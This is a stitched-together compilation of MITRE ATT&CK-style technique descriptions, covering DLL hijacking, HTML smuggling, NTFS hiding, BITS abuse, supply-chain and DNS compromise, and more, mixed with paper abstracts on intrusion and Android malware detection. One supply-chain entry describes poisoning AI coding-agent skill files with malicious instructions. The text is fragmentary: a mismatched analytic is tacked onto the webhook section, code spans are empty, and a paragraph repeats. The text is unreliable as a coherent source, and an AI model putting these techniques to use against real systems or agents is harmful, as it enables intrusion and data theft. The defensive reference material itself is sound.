Mobile operating systems have means to subscribe to events such as receiving an SMS message, device boot completion, or other device activities.\n\nAn intent is a message passed between Android applications or system components. Applications can register to receive broadcast intents at runtime, which are system-wide intents delivered to each app when certain events happen on the device, such as network changes or the user unlocking the screen. Malicious applications can then trigger certain actions within the app based on which broadcast intent was received.\n\nIn addition to Android system intents, malicious applications can register for intents broadcasted by other applications. This allows the malware to respond based on actions in other applications. This behavior typically indicates a more intimate knowledge, or potentially the targeting of specific devices, users, or applications.\n\nIn Android 8 (API level 26), broadcast intent behavior was changed, limiting the implicit intents that applications can register for in the manifest. In most cases, applications that register through the manifest will no longer receive the broadcasts. Now, applications must register context-specific broadcast receivers while the user is actively using the app.\n\n**Classification.** - Tactics: persistence\n- Platforms: Android\n- Sub-technique of: T1624 Event Triggered Execution - Adversaries may establish persistence using system mechanisms that trigger execution based on specific events.

A primary way is by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs or resources, such as file directories, could also be poisoned to include malicious payloads.\n\n**Classification.** - Tactics: persistence\n- Platforms: Android\n\n**Sub-techniques.** - T1625.001 System Runtime API Hijacking: Adversaries may execute their own malicious payloads by hijacking the way an operating system runs applications.\n\n**Mitigations.** - **System Partition Integrity**: Ensure that Android devices being used include and enable the Verified Boot capability, which cryptographically ensures the integrity of the system partition.\n- **Attestation**: Enable remote attestation capabilities when available (such as Android SafetyNet or Samsung Knox TIMA Attestation) and prohibit devices that fail the attestation from accessing enterprise resources.\n\n**Detection strategies and analytics.** - **Detection of Hijack Execution Flow**\n - For Android, detect Hijack Execution Flow from documented management, network, or vetting evidence; treat state queries as periodic observations rather than real-time events.

Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can gain on a machine. Authorization has to be granted to specific users in order to perform tasks that are designated as higher risk. An adversary can use several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.\n\n**Classification.** - Tactics: privilege-escalation\n- Platforms: Android\n\n**Sub-techniques.** - T1626.001 Device Administrator Permissions: Adversaries may abuse Android’s device administration API to obtain a higher degree of control over the device.\n\n**Mitigations.** - **Application Developer Guidance**: Application Developer Guidance focuses on providing developers with the knowledge, tools, and best practices needed to write secure code, reduce vulnerabilities, and implement secure design principles.

File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: `chown` (short for change owner), and `chmod` (short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file.

Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in an application, service, within the operating system software, or kernel itself to execute adversary-controlled code. Security constructions, such as permission levels, will often hinder access to information and use of certain techniques. Adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a device, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and applications running at higher permissions, that can be exploited to gain higher levels of access on the system.

Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server. Many public and commercial services, such as Discord, Slack, and `webhook.site`, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello. When changes happen in the linked services (such as pushing a repository update or modifying a ticket), these services will automatically post the data to the webhook endpoint for use by the consuming application.\n\nAdversaries may link an adversary-owned environment to a victim-owned SaaS service to achieve repeated Automated Exfiltration of emails, chat messages, and other data. Alternatively, instead of linking the webhook endpoint to a service, an adversary can manually post staged data directly to the URL in order to exfiltrate it.\n\nAccess to webhook endpoints is often over HTTPS, which gives the adversary an additional level of protection. Exfiltration leveraging webhooks can also blend in with normal network traffic if the webhook endpoint points to a commonly used SaaS application or collaboration service.\n\n## Reference: ATT&CK AN1238 Analytic 1238\n**ATT&CK AN1238 Analytic 1238 (full record).** Account created using esxcli commands.

Side-loading involves hijacking which DLL a program loads by planting and then invoking a legitimate application that executes their payload(s).\n\nSide-loading positions both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.\n\nAdversaries may also side-load other packages, such as BPLs (Borland Package Library).\n\nAdversaries may chain DLL sideloading multiple times to fragment functionality hindering analysis. Adversaries using multiple DLL files can split the loader functions across different DLLs, with a main DLL loading the separated export functions. Spreading loader functions across multiple DLLs makes analysis harder, since all files must be collected to fully understand the malware’s behavior. Another method implements a “loader-for-a-loader”, where a malicious DLL’s sole role is to load a second DLL (or a chain of DLLs) that contain the real payload.\n\n## DLL Search Order Hijacking\nAdversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. This will cause Windows to load the malicious DLL when it is called for by the victim program.\n\n## DLL Redirection\nAdversaries may directly modify the search order via DLL redirection, which after being enabled (in the Registry or via the creation of a redirection file) may cause a program to load a DLL from a different location.\n\n## Phantom DLL Hijacking\nAdversaries may leverage phantom DLL hijacking by targeting references to non-existent DLL files. They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.\n\n## DLL Substitution\nAdversaries may target existing, valid DLL files and substitute them with their own malicious DLLs, planting them with the same name and in the same location as the valid DLL file.\n\nPrograms that fall victim to DLL hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace, evading defenses.\n\nRemote DLL hijacking can occur when a program sets its current directory to a remote location, such as a Web share, before loading a DLL.\n\nIf a valid DLL is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation.\n\n## Classification\n- Tactics: stealth, execution\n- Platforms: Windows\n- Sub-technique of: T1574 Hijack Execution Flow - Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time.\n\n## Mitigations\n- **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n- **Restrict Library Loading**: Restricting library loading involves implementing security controls to ensure that only trusted and verified libraries (DLLs, shared objects, etc.) are loaded into processes. Adversaries often abuse Dynamic-Link Library (DLL) Injection, DLL Search Order Hijacking, or LD_PRELOAD mechanisms to execute malicious code by forcing the operating system to load untrusted libraries. This mitigation can be implemented through the following measures:\n- **Update Software**: Software updates ensure systems are protected against known vulnerabilities by applying patches and upgrades provided by vendors. Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n- **Application Developer Guidance**: Application Developer Guidance focuses on providing developers with the knowledge, tools, and best practices needed to write secure code, reduce vulnerabilities, and implement secure design principles. By integrating security throughout the software development lifecycle (SDLC), this mitigation aims to prevent the introduction of exploitable weaknesses in applications, systems, and APIs. This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Detection Strategy for Hijack Execution Flow for DLLs**\n - DLL hijacking behaviors including unexpected DLL loads from non-standard directories, replacement of DLLs, phantom DLL insertion, redirection file creation, and substitution of legitimate DLLs.

DLLs are libraries that contain code and data that can be simultaneously utilized by multiple programs. While DLLs are not malicious by nature, they can be abused through mechanisms such as side-loading, hijacking search order, and phantom DLL hijacking.\n\nSpecific ways DLLs are abused by adversaries include:\n\n## Reference: ATT&CK T1564.004 NTFS File Attributes\n**ATT&CK T1564.004 NTFS File Attributes (full record).** Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. Within MFT entries are file attributes, such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files).\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.\n\n**Mitigations.** - **Restrict File and Directory Permissions**: Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files.\n\n**Detection strategies and analytics.** - **Detection Strategy for NTFS File Attribute Abuse (ADS/EAs)**\n - Suspicious use of NTFS file attributes such as Alternate Data Streams (ADS) or Extended Attributes (EA) to hide data. Defender perspective: anomalous file creations or modifications containing colon syntax (file.ext:ads), API calls like ZwSetEaFile/ZwQueryEaFile, or PowerShell/Windows utilities interacting with -stream parameters. Correlation across file metadata anomalies, process lineage, and command execution provides context. […]\n\n## Reference: ATT&CK T1564.005 Hidden File System\n**ATT&CK T1564.005 Hidden File System (full record).** Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.\n\nAdversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions. Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system. Adversaries may also fragment files across the existing file system structure in non-standard ways.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.\n\n**Detection strategies and analytics.** - **Detection Strategy for Hidden File System Abuse**\n - Anomalous creation or mounting of hidden partitions or virtual file systems. Defender view: detection of registry modifications linked to non-standard file systems, suspicious disk I/O patterns, or bootkit-like behavior where hidden volumes are accessed outside normal file system APIs. […]\n\n## Reference: ATT&CK T1564.006 Run Virtual Instance\n**ATT&CK T1564.006 Run Virtual Instance (full record).** Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.\n\nAdversaries may utilize native support for virtualization (ex: Hyper-V), deploy lightweight emulators (ex: QEMU), or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.\n\nThreat actors may also leverage temporary virtualized environments such as the Windows Sandbox, which supports the use of `.wsb` configuration files for defining execution parameters. For example, the `` property supports the creation of a shared folder, while the `` property allows the specification of a payload.\n\nIn VMWare environments, adversaries may leverage the vCenter console to create new virtual machines. However, they may also create virtual machines directly on ESXi servers by running a valid `.vmx` file with the `/bin/vmx` utility. Adding this command to `/etc/rc.local.d/local.sh` (i.e., RC Scripts) will cause the VM to persistently restart. Creating a VM this way prevents it from appearing in the vCenter console or in the output to the `vim-cmd vmsvc/getallvms` command on the ESXi server, thereby hiding it from typical administrative activities.\n\n**Classification.** - Tactics: stealth\n- Platforms: ESXi, Linux, macOS, Windows\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.

A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.\n\n## Mitigations\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures.\n- **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Detection Strategy for Modify Cloud Compute Infrastructure: Create Snapshot**\n - Detection focuses on correlating snapshot creation events with subsequent instance creation and mounting activities. From a defender perspective, suspicious sequences include snapshot creation by unexpected or newly created IAM users, snapshots created from sensitive volumes without preceding change-control activity, or snapshots immediately followed by mounting to unauthorized instances.

HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.\n\nAdversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as `text/plain` and/or `text/html`. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. Deobfuscate/Decode Files or Information), potentially bypassing content filters.\n\nFor example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as `msSaveBlob`.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1027 Obfuscated Files or Information - Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.

This method prevents potentially malicious code from affecting the rest of the system or network by limiting access to sensitive resources and critical operations. The goal is to contain threats and minimize their impact. […]\n\n## Reference: ATT&CK T1027.007 Dynamic API Resolution\n**ATT&CK T1027.007 Dynamic API Resolution (full record).** Adversaries may obfuscate then dynamically resolve API functions called by their malware in order to conceal malicious functionalities and impair defensive analysis. Malware commonly uses various Native API functions provided by the OS to perform various tasks such as those involving processes, files, and other system artifacts.\n\nAPI functions called by malware may leave static artifacts such as strings in payload files. Defensive analysts may also uncover which functions a binary file may execute via an import address table (IAT) or other structures that help dynamically link calling code to the shared modules that provide functions.\n\nTo avoid static or other defensive analysis, adversaries may use dynamic API resolution to conceal malware characteristics and functionalities. Similar to Software Packing, dynamic API resolution may change file signatures and obfuscate malicious API function calls until they are resolved and invoked during runtime.\n\nVarious methods may be used to obfuscate malware calls to API functions. For example, hashes of function names are commonly stored in malware in lieu of literal strings. Malware can use these hashes (or other identifiers) to manually reproduce the linking and loading process using functions such as `GetProcAddress` and `LoadLibrary`.

These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for Phishing for Information or Phishing. In addition, establishing accounts may allow adversaries to abuse free services, such as registering for trial periods to Acquire Infrastructure for malicious purposes.\n\n## Reference: ATT&CK T1195.001 Compromise Software Dependencies and Development Tools\n**ATT&CK T1195.001 Compromise Software Dependencies and Development Tools (full record).** Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications, such as pip and NPM packages, may be targeted as a means to add malicious code to users of the dependency. This may also include abandoned packages, which in some cases could be re-registered by threat actors after being removed by adversaries. Adversaries may also employ \"typosquatting\" or name-confusion by choosing names similar to existing popular libraries or packages in order to deceive a user.\n\nAdditionally, CI/CD pipeline components, such as GitHub Actions, may be targeted in order to gain access to the building, testing, and deployment cycles of an application. By adding malicious code into a GitHub action, a threat actor may be able to collect runtime credentials (e.g., via Proc Filesystem) or insert further malicious components into the build pipelines for a second-order supply chain compromise. As GitHub Actions are often dependent on other GitHub Actions, threat actors may be able to infect a large number of repositories via the compromise of a single Action.\n\nAdversaries may also target the configuration and instruction files consumed by integrated development environments and AI coding agents. Project files such as tasks.json may execute commands when a developer opens or builds a project, while agent skill files (SKILL.md) supply an agent with instructions and resources that it loads on demand and runs with the permissions of the agent process. To encourage downloads, adversaries may publish these files under benign-appearing or typo-squatted names, upload unmodified copies of the genuine skills first so the listings accumulate installs before the content behind them is weaponized, or may place the malicious instructions in a secondary document that the reviewed entry point references. Because these artifacts are natural language or configuration rather than executable code, they may pass registry screening and signature-based scanning.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.

Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Linux, Windows, macOS\n- Sub-technique of: T1195 Supply Chain Compromise - Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\n**Mitigations.** - **Update Software**: Software updates ensure systems are protected against known vulnerabilities by applying patches and upgrades provided by vendors. Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n- **Vulnerability Scanning**: Vulnerability scanning involves the automated or manual assessment of systems, applications, and networks to identify misconfigurations, unpatched software, or other security weaknesses. The process helps prioritize remediation efforts by classifying vulnerabilities based on risk and impact, reducing the likelihood of exploitation by adversaries. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Compromised software/update chain (installer/write → first-run/child → egress/signature anomaly)**\n - Adversary ships a tampered application or update: an updater/installer (msiexec/setup/update.exe/vendor service) writes or replaces binaries; on first run it spawns scripts/shells or unsigned DLLs and beacons to non-approved update CDNs/hosts.

By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1195 Supply Chain Compromise - Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\n**Mitigations.** - **Boot Integrity**: Boot Integrity ensures that a system starts securely by verifying the integrity of its boot process, operating system, and associated components. This mitigation focuses on leveraging secure boot mechanisms, hardware-rooted trust, and runtime integrity checks to prevent tampering during the boot sequence. It is designed to thwart adversaries attempting to modify system firmware, bootloaders, or critical OS components. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Hardware Supply Chain Compromise Detection via Host Status & Boot Integrity Checks**\n - Detects tampered hardware or firmware via anomalous host status telemetry. Behavioral chain: (1) Pre-OS or firmware components exhibit unexpected version changes, signature failures, or modified boot paths; (2) System management/firmware tools log hardware inventory drift; (3) Sensor health telemetry or boot attestation events fail baseline checks; (4) Follow-on process execution from altered firmware or unknown drivers after boot.

Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through PowerShell and the BITSAdmin tool.\n\nAdversaries may abuse BITS to download (e.g. Ingress Tool Transfer), execute, and even clean up after running malicious code (e.g. Indicator Removal). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).\n\nBITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol.\n\n**Classification.** - Tactics: stealth, persistence, execution\n- Platforms: Windows\n\n**Mitigations.** - **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n- **Filter Network Traffic**: Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic. This includes protocol-based filtering, enforcing firewall rules, and blocking or restricting traffic based on predefined conditions to limit adversary movement and data exfiltration. This mitigation can be implemented through the following measures:\n- **Operating System Configuration**: Operating System Configuration involves adjusting system settings and hardening the default configurations of an operating system (OS) to mitigate adversary exploitation and prevent abuse of system functionality. […]\n\n## Reference: ATT&CK T1199 Trusted Relationship\n**ATT&CK T1199 Trusted Relationship (full record).** Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship abuses an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.\n\nOrganizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, Valid Accounts used by the other party for access to internal network systems may be compromised and used.\n\nIn Office 365 environments, organizations may grant Microsoft partners or resellers delegated administrator permissions. By compromising a partner or reseller account, an adversary may be able to leverage existing delegated administrator relationships or send new delegated administrator offers to clients in order to gain administrative control over the victim tenant.\n\n**Classification.** - Tactics: initial-access\n- Platforms: IaaS, Identity Provider, Linux, macOS, Office Suite, SaaS, Windows\n\n**Mitigations.** - **Multi-factor Authentication**: Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include:\n- **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n- **Network Segmentation**: Network segmentation involves dividing a network into smaller, isolated segments to control and limit the flow of traffic between devices, systems, and applications. By segmenting networks, organizations can reduce the attack surface, restrict lateral movement by adversaries, and protect critical assets from compromise.

Optimizing performance of IDS becomes an important open problem which receives more and more attention from the research community. In this work, A multi-layer intrusion detection model is designed and developed to achieve high efficiency and improve the detection and classification rate accuracy.we effectively apply Machine learning techniques (C5 decision tree, Multilayer Perceptron neural network and Naïve Bayes) using gain ratio for selecting the best features for each layer as to use smaller storage space and get higher Intrusion detection performance. Our experimental results showed that the proposed multi-layer model using C5 decision tree achieves higher classification rate accuracy, using feature selection by Gain Ratio, and less false alarm rate than MLP and naïve Bayes. Using Gain Ratio enhances the accuracy of U2R and R2L for the three machine learning techniques (C5, MLP and Naïve Bayes) significantly. MLP has high classification rate when using the whole 41 features in Dos and Probe layers.\n\n**Keywords.** Intrusion Detection, Layered Approach, Machine Learning, NSL-KDD dataset, Network Security.\n\n**1. INTRODUCTION.** The rapid development and expansion of World Wide Web and local network systems have changed the computing world in the last decade. The costs of temporary or permanent damages caused by unauthorized access of the intruders to computer systems have urged different organizations to increasingly implement various systems to monitor data flow in their networks [1]. These systems are generally referred to as Intrusion Detection Systems (IDSs).\n\nIntrusion Detection Systems have gained acceptance as a necessary addition to every organization’s security infrastructure [2]. Intrusion detection systems are classified as host based or network based IDS.

System administrators can attempt to prevent such attacks using intrusion detection tools and systems. There are many commercially available signature-based Intrusion Detection Systems (IDSs). However, most IDSs lack the capability to detect novel or previously unknown attacks. A special type of IDSs, called Anomaly Detection Systems, develop models based on normal system or network behavior, with the goal of detecting both known and unknown attacks. Anomaly detection systems face many problems including high rate of false alarm, ability to work in online mode, and scalability. This paper presents a selective survey of incremental approaches for detecting anomaly in normal system or network traffic. The technological trends, open problems, and challenges over anomaly detection using incremental approach are also discussed.\n\nClustering.\n\n**1. Introduction.** The Internet connects users and providers of information and media services from distant corners of the world. Due to widespread availability of advanced networking technologies, the threat from spammers, intruders or attackers, and criminal enterprises is also increasing. Intrusion Detection Systems (IDSs) and firewall technologies can prevent some of these threats. One study [1] estimates the number of intrusion attempts over the entire Internet to be in the order of 25 billion per day and increasing. McHugh [2] claims that attacks are becoming more sophisticated while they get more automated, and thus the skills needed to launch them are being reduced. There are two types of IDSs: signature-based and anomaly-based. Signature-based IDSs exploit signatures of known attacks. Such systems require frequent updates of signatures for known attacks and cannot detect unknown attacks or anomalies for which signatures are not stored in the database. In contrast, anomaly based IDSs are extremely effective in finding and preventing known as well as unknown or zero day attacks [3][54]. However, an anomaly detection system has many shortcomings such as high rate of false alarm, and the failure to scale up to gigabit speeds.

Unfortunately, they also become fertile grounds for hackers to deploy malware and to spread virus. There is an urgent need to have a “ security analytic & forensic system ” which can facilitate analysts to examine, dissect, associate and correlate large number of mobile applications. An effective analytic system needs to address the following questions:\n\nHow to automatically collect and manage a high volume of mobile malware? How to analyze a zero-day suspicious application, and compare or associate it with existing malware families in the database? How to perform information retrieval so to reveal similar malicious logic with existing malware, and to quickly identify the new malicious code segment?\n\nIn this paper, we present the design and implementation of\n\nDroidAnalytics, a signature based analytic system to automatically collect, manage, analyze and extract android malware. The system facilitates analysts to retrieve, associate and reveal malicious logics at the “ opcode level ”. We demonstrate the efficacy of DroidAnalytics using 150,368 Android applications, and successfully determine 2,494 Android malware from 102 different families, with 342 of them being zero-day malware samples from six different families. To the best of our knowledge, this is the first reported case in showing such a large Android malware analysis/detection. The evaluation shows the DroidAnalytics is a valuable tool and is effective in analyzing malware repackaging and mutations.\n\nI\n\n**Introduction.** Smartphones are becoming prevailing devices for many people. Unfortunately, malware on smartphones is also increasing at an unprecedented rate. Android OS-based systems, being the most popular platform for mobile devices, have been a popular target for malware developers. As stated in [1], the exponential growth of mobile malware is mainly due to the ease of generating malware variants. Although there are number of works which focus on Android malware detection via permission leakage, it is equally important to design a system that can perform comprehensive malware analytics: analyze and dissect suspicious applications at the opcode level\n\n(instead at the permission level), and correlate these applications to existing malware in the database to determine whether they are mutated malware or even zero-day malware, and to discover which legitimate applications are infected.

Adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a device, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and applications running at higher permissions, that can be exploited to gain higher levels of access on the system.

Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle. Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.\n\nUse of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with Digital Certificates) to further blend in and support staged information gathering and/or Phishing campaigns. Adversaries may also compromise numerous machines to support Proxy and/or proxyware services or to form a botnet. Additionally, adversaries may compromise infrastructure residing in close proximity to a target in order to gain Initial Access via Wi-Fi Networks.\n\nBy using compromised infrastructure, adversaries may enable follow-on malicious operations.

Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant. Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account, taking advantage of renewal process gaps, or compromising a cloud service that enables managing domains (e.g., AWS Route53).\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.\n\nAdversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.\n\n**Classification.** - Tactics: resource-development\n- Platforms: PRE\n- Sub-technique of: T1584 Compromise Infrastructure - Adversaries may compromise third-party infrastructure that can be used during targeting.

During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: Application Layer Protocol). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.\n\nBy compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary. Additionally, adversaries may leverage such control in conjunction with Digital Certificates to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications. Alternatively, they may be able to prove ownership of a domain to a SaaS service in order to assert control of the service or create a new administrative Cloud Account. Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.\n\n**Classification.** - Tactics: resource-development\n- Platforms: PRE\n- Sub-technique of: T1584 Compromise Infrastructure - Adversaries may compromise third-party infrastructure that can be used during targeting.

